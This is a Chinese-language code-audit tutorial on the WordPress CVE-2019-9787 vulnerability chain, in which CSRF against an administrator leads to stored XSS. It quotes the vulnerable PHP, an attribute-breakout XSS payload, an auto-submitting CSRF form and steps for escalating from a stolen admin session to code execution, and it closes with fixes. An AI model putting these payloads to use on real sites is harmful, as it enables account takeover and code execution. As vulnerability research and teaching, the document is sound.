拿WordPress开刀——点亮代码审计技能树(三)
字数 1453 2025-08-25 22:58:40
WordPress代码审计实战:从CSRF到XSS漏洞链利用分析
漏洞概述
本文详细分析WordPress核心中一个复杂的漏洞链(CVE-2019-9787),该漏洞链从未授权CSRF开始,最终导致存储型XSS,影响默认配置的WordPress系统。我们将深入剖析漏洞原理、利用条件和技术细节。
漏洞组件分析
1. 评论功能抽象架构
WordPress评论功能可分解为以下处理组件:
- XSS过滤组件 - 初始过滤用户输入的评论内容
- SEO优化组件 - 对特定HTML标签进行SEO处理
- 数据库组件 - 存储处理后的评论内容
- 优化组件 - 从数据库获取评论后进行二次处理
- 主题组件 - 将评论嵌入HTML页面进行渲染
2. SEO优化组件漏洞分析
关键漏洞位于SEO优化组件中对<a>标签的处理逻辑:
// 将<a>标签属性解析为关联数组
$attrs = shortcode_parse_atts($matches[3][$i]); // 3004行
// 检查并处理rel属性
if (isset($attrs['rel'])) {
$rel = $attrs['rel'];
// 重新拼接属性字符串 - 漏洞点
$attrs = array_merge(array('href' => '#'), $attrs);
$attributes = '';
foreach ($attrs as $attr => $value) {
$attributes .= " $attr=\"$value\""; // 3017-3018行
}
}
漏洞原理:
- 攻击者可构造特殊
<a>标签,如:<a title='XSS" onmouseover=alert(1) id="'> - 由于属性值拼接时使用双引号包裹(3018行),而攻击者使用单引号定义title属性
- 导致注入的onmouseover事件绕过过滤,原样存储于数据库
3. 触发条件限制
该漏洞需要满足两个关键条件:
- 能够设置
<a>标签的rel属性 - 绕过XSS过滤组件对rel属性的过滤
4. CSRF漏洞利用
WordPress评论功能存在CSRF防护缺陷:
// 评论处理逻辑
if ( current_user_can('unfiltered_html') ) {
if (! wp_verify_nonce($_POST['_wp_unfiltered_html_comment'], 'unfiltered-html-comment')) {
kses_remove_filters(); // 3242行
kses_init_filters();
wp_filter_post_kses($comment_content);
}
} else {
wp_filter_kses($comment_content);
}
关键点:
- 管理员提交评论时若未提供有效nonce,使用
wp_filter_post_kses()而非常规的wp_filter_kses() wp_filter_post_kses()允许更多HTML标签和属性,包括rel属性- 通过CSRF可强制管理员创建包含rel属性的评论
漏洞利用链构造
完整利用步骤
-
初始访问:
- 攻击者提交包含恶意
<a>标签的普通评论 - 评论中包含诱导管理员点击的链接
- 攻击者提交包含恶意
-
CSRF触发:
- 管理员审核评论时点击恶意链接
- CSRF攻击诱导管理员创建包含rel属性的特殊评论
-
XSS触发:
- 创建的评论利用SEO组件漏洞注入恶意属性
- 当评论显示时执行任意JavaScript代码
-
权限升级:
- 利用XSS窃取管理员会话
- 通过插件/主题编辑功能实现RCE
技术要点
-
XSS Payload构造:
<a href="#" title='XSS" onmouseover=evilCode() id="'>看似无害的链接</a> -
CSRF攻击向量:
<form action="http://target/wp-comments-post.php" method="POST"> <input type="hidden" name="comment" value="<a href='#' rel='nofollow' title='XSS" onmouseover=evilCode() id="'>"> <input type="hidden" name="submit" value="Submit Comment"> </form> <script>document.forms[0].submit();</script> -
绕过限制:
- 利用
wp_filter_post_kses()与wp_filter_kses()的过滤差异 - 通过iframe绕过X-Frame-Options限制(目标页面未设置)
- 利用
防御措施
-
代码层面修复:
- 对SEO组件中的属性拼接进行严格转义
- 统一评论过滤标准,消除
wp_filter_post_kses()与wp_filter_kses()差异 - 对所有管理操作强制CSRF防护
-
配置建议:
- 禁用不必要的评论功能
- 限制管理员使用unfiltered_html能力
- 设置严格的CSP策略
-
补丁参考:
- WordPress官方已发布安全更新修复此漏洞链
- 建议升级至5.1.1或更高版本
审计方法论总结
- 功能分解:将复杂功能拆分为独立处理组件
- 信任边界分析:识别各组件间的数据流与信任关系
- 差异对比:比较不同权限路径下的处理逻辑差异
- 链式利用:寻找多个低危漏洞的组合利用可能性
- 上下文感知:考虑实际部署环境中的配置差异
通过此案例可看出,现代CMS系统的安全审计需要综合考虑核心功能、权限模型和实际部署配置,才能发现深层次的漏洞链。